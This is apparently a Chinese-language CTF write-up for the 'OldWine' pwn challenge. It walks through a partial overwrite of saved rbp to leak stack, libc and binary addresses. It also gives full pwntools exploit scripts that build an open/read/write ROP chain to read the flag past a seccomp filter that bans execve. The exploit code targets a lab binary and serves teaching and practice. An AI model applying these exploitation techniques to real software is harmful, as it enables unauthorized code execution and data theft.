京麒——OldWine 不会打,太坐牢了,只能复现了qwq(没想到时间拖了这么久)
分析 开了一个沙箱,把execve禁了
然后权限限制得很死
也不给我们可以用的寄存器
在程序中给了我们两个选项
1是可以向栈上写东西
如果输入2,就会调用一次leave然后回到菜单处
众所周知
1 2 leave = mov esp, ebp pop ebp
思路 我当时没有思路,看了wp之后,发现师傅们都是修改bp的后两位,使bp位于sp前
终于,经过我不懈的调试,终于懂了这道题目该怎么做了
首先这道题目一定得先链接出题人给的libc库,我开始使用的自己的库(开始还以为做栈上的题影响不大呢,看来自己见识的还是太少了),调试的时候rbp里面存放的值是1,导致我一直不知道其他师傅的wp里面写的覆盖rbp后两位然后让rbp位于rsp之前是怎么做到的
这是使用的我自己的库
这是使用出题人给的库
可以看到rbp里面放的东西完全不一样(但是为什么不同的库会导致rbp里面的值不一样我还不知道,要是有师傅知道,可以留言告诉我一下吗)
然后我们之后就可以通过溢出使old_rbp的后两位覆盖为00,使得有一定机率之后让rbp小于等于rsp
然后我们进入到read函数里面,可以看到
执行完read函数返回时,只用了ret=pop rip
,所以返回地址现在是放在rsp里面的
然后,我们看一下在调用read函数之前的寄存器
我们看到,rsi寄存器(写入数据的地址)里面放的是[rbp-0x10]+rcx
,此时因为我们把rbp放到了rsp的前面,就可以通过read的溢出覆盖到rsp,而rsp里面存放的是返回地址,此时就算我们不知道程序中的具体位置,也可以覆盖返回地址后两位跳转到write进行泄露
可以看到已经泄露出来东西了
本来后续想用栈迁移写的,但是不知道为什么栈迁移不稳定的因素太多了,很难调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 io.sendline(b'64' ) io.sendlineafter(b'index: ' ,b'16' ) io.send(p64(start+0x4300 ))#rsp=start+0x4300 leave() cmd1(8 ,16 ,p64(start+0x4100 ))#rbp=start+0x4100 leave() payload=b'f lag'+b' \x00'+b' \x00'+b' \x00'+b' \x00' payload+=p64(start+0x14f5 ) payload+=p64(rdi)+p64(start+0x40f8 )+p64(rsi)+p64(0 )+p64(rax)+p64(0x2 )+p64(syscall)#open payload+=p64(rdi)+p64(0x3 )+p64(rsi)+p64(start+0x4400 )+p64(rax)+p64(0 )+p64(syscall)#read payload+=p64(rdi)+p64(1 )+p64(rsi)+p64(start+0x4400 )+p64(rax)+p64(0x1 )+p64(syscall)#write cmd1(len(payload),8 ,payload) cmd1(8 ,0x210 ,p64(start+0x4101 )) print('where is my flag' ) pause()
本来是这么写的,但是问题很多,栈迁移在一些情况下bp里面的值会被覆盖导致栈迁移失败,然后有一次到了我写的payload位置,但是不知道为什么,卡着动不了了,实在是不想调这个了,所以打算换一种方法写
于是我看了一下,可以泄露出栈上面的一个地址,然后已知rbp的值末尾一定为00,如果我们把我们泄露出的栈上末尾改为00,相当于我们就获得了rbp的地址(这里的输出名字改了一下,原来的stack输出的其实是起始地址,现在的stack才是真正的栈上地址)
可以看到我们获得了rbp的地址,所以我们就可以把flag输入到栈上,然后由于我们循环进来的i让我们覆盖到了位于rsp的返回地址上,此时,我们再输入cmd1(8,8*i,payload)
就可以把payload放到返回地址上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import*context (os='linux' ,arch='amd64' ,log_level='debug' ) io = process('./pwn' ) elf=ELF('./libc.so.6' ) def cmd(cmd): io.sendlineafter(b'2. stack pivoting\n' ,str(cmd)) def cmd1(size,index,con): cmd(1 ) io.sendlineafter(b'size: ' ,str(size)) io.sendlineafter(b'index: ' ,str(index)) io.send(con) def leave(): cmd(2 ) cmd1(1 ,16 ,b'\x00' ) leave()for i in range(2 ,30 ): cmd1(0x20 ,i*8 ,b'\x45' ) data=io.recv(0x18 ).strip() print('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ,data) if b'stack' not in data: data1=data[:16 ] start=u64(data1[:6 ].ljust(8 ,b'\x00' )) glibc=u64(data1[-8 :]) stack =u64(data[-8 :])& ~0xff print('stack:' ,hex(stack )) print('glibc' ,hex(glibc)) print('start:' ,hex(start)) libc_base=glibc-(0x7f24e43751ca -0x7f24e434b000 ) start=start-0x144f bss=start+0x4200 # gdb.attach(io) io.recv() rdi=libc_base+0x000000000010f75b rsi=libc_base+0x0000000000110a4d rax=libc_base+0x00000000000dd237 syscall=libc_base+0x0000000000012725b io.sendline(b'20' ) io.sendlineafter(b'index: ' ,b'8' ) # gdb.attach(io) io.send(b'f lag'+b' \x00'*4) payload=p64(rdi)+p64(stack-0x8)+p64(rsi)+p64(0)+p64(rax)+p64(0x2)+p64(syscall)#open payload+=p64(rdi)+p64(0x3)+p64(rsi)+p64(bss)+p64(rax)+p64(0)+p64(syscall)#read payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss)+p64(rax)+p64(0x1)+p64(syscall)#write cmd1(len(payload),8*i,payload) io.interactive() io.interactive()
我本来把b’flag’的字符放在rbp上的,但是不知道为什么,会被覆盖,但是放在rbp-8处就不会被覆盖
让后还有一个问题,我使用syscall后不会跳回来(使用ROPgadget --binary pwn --only 'syscall'
找到的syscall就不会返回,
没办法,我直接进libc.so.6里面找的可以返回的syscall
太不容易了,终于调出来了(这个环境总把我写的东西覆盖掉qwq)